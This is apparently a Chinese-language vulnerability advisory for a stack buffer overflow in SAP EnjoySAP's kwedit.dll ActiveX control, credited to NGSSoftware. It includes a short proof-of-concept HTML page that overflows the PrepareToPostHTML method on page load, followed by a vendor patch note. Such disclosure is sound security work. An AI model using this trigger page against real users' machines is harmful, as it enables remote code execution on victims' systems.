受影响系统: SAP EnjoySAP 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 24772,24776 EnjoySAP是流行的SAP图形用户界面。 EnjoySAP所带的ActiveX控件实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户机器。 EnjoySAP所安装的kweditcontrol.kwedit.1控件(默认路径C:\Program Files\SAP\FrontEnd\SapGui\kwedit.dll)中的PrepareToPostHTML函数没有正确验证用户输入参数,如果用户受骗访问了恶意页面的话,就可能触发栈溢出,导致执行任意代码。 <*来源:Mark Litchfield (mark@ngssoftware.com)
链接:http://marc.info/?l=bugtraq&m=118365769631054&w=2 *> 测试方法: -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! <HTML> <HEAD> <META http-equiv=Content-Type content="text/html; charset=windows-1252"> <SCRIPT type=text/javascript> function init() { var foo = ""; for(var icount = 0; icount < 1060; icount++) { foo = foo + "x"; } var ngssoftware; ngssoftware = new ActiveXObject("kweditcontrol.kwedit.1"); ngssoftware["PrepareToPostHTML"](foo); } //--> </SCRIPT> </HEAD> <BODY bgColor=#ffffff onload=init()> </BODY></HTML> 建议: -------------------------------------------------------------------------------- 厂商补丁: SAP --- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://www.sap.com/
|